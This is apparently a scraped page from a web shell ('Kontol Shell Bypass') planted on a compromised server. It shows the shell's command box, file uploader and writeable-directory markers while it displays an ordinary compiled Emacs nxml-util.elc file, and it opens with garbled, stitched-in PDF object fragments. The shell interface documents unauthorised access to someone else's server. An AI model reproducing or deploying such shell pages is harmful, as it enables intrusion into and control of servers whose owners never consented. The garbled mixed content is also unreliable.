%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/nxml/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/nxml/nxml-util.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


#@57 Enable nxml debugging.  Effective only at compile time.
(defconst nxml-debug nil (#$ . 410))
(defalias 'nxml-debug #[385 "\205	\301\302#\207" [nxml-debug apply message] 6 "\n\n(fn FORMAT &rest ARGS)"])
(put 'nxml-debug 'byte-optimizer 'byte-compile-inline-expand)
(defalias 'nxml-debug-change '(macro . #[771 "\205\f\300\301\302EF\207" [nxml-debug "%s: %S" buffer-substring-no-properties] 9 "\n\n(fn NAME START END)"]))
(defalias 'nxml-debug-set-inside '(macro . #[514 "\205\301\302\303EDC\304\305\306\307F\257\207" [nxml-debug let overlay make-overlay (overlay-put overlay 'face '(:background "red")) (overlay-put overlay 'nxml-inside-debug t) nxml-debug-change "nxml-set-inside"] 10 "\n\n(fn START END)"]))
(defalias 'nxml-debug-clear-inside '(macro . #[514 "\205\301\302\303\304\305E\306\307\310\311\312\313\314

F\257\207" [nxml-debug cl-loop for overlay in overlays-in if (overlay-get overlay 'nxml-inside-debug) do (delete-overlay overlay) finally nxml-debug-change "nxml-clear-inside"] 16 "\n\n(fn START END)"]))
#@187 Return a symbol for the namespace URI STR.
STR must be a string.  If STR is the empty string, return nil.
Otherwise, return the symbol whose name is STR prefixed with a colon.

(fn STR)
(defalias 'nxml-make-namespace #[257 "\211\300\230?\205\f\301\302P!\207" ["" intern ":"] 4 (#$ . 1466)])
#@113 Return the namespace URI corresponding to the symbol NS.
This is the inverse of `nxml-make-namespace'.

(fn NS)
(defalias 'nxml-namespace-name #[257 "\211\205\n\300!\301\302O\207" [symbol-name 1 nil] 4 (#$ . 1766)])
(defconst nxml-xml-namespace-uri (nxml-make-namespace "http://www.w3.org/XML/1998/namespace"))
(defconst nxml-xmlns-namespace-uri (nxml-make-namespace "http://www.w3.org/2000/xmlns/"))
(defalias 'nxml-with-degradation-on-error '(macro . #[385 "\204\301\302!\303\304B\305\306EDF\207\304B\207" [nxml-debug make-symbol "err" condition-case progn error nxml-degrade] 10 "\n\n(fn CONTEXT &rest BODY)"]))
(byte-code "\300\301\302\303#\210\304\301\305\306#\207" [function-put nxml-with-degradation-on-error lisp-indent-function 1 put edebug-form-spec t] 4)
#@72 Evaluate body without calling any point motion hooks.

(fn &rest BODY)
(defalias 'nxml-with-invisible-motion '(macro . #[128 "\300\301BB\207" [let ((inhibit-point-motion-hooks t))] 4 (#$ . 2550)]))
(byte-code "\300\301\302\303#\210\304\301\305\306#\207" [function-put nxml-with-invisible-motion lisp-indent-function 0 put edebug-form-spec t] 4)
(defalias 'nxml-display-file-parse-error #[257 "\211A@\300!\3018\3028\303!\210\304 \203\305\202b\210\306\307\"\207" [find-file-noselect 2 3 pop-to-buffer buffer-modified-p 1 error "%s"] 8 "\n\n(fn ERR)"])
(defalias 'nxml-signal-file-parse-error #[1027 "\300\206\301E\"\207" [signal nxml-file-parse-error] 9 "\n\n(fn FILE POS MESSAGE &optional ERROR-SYMBOL)"])
(byte-code "\300\301\302\"\210\300\303\304\301#\210\305\306!\207" [define-error nxml-error nil nxml-file-parse-error "Error parsing file" provide nxml-util] 4)

Kontol Shell Bypass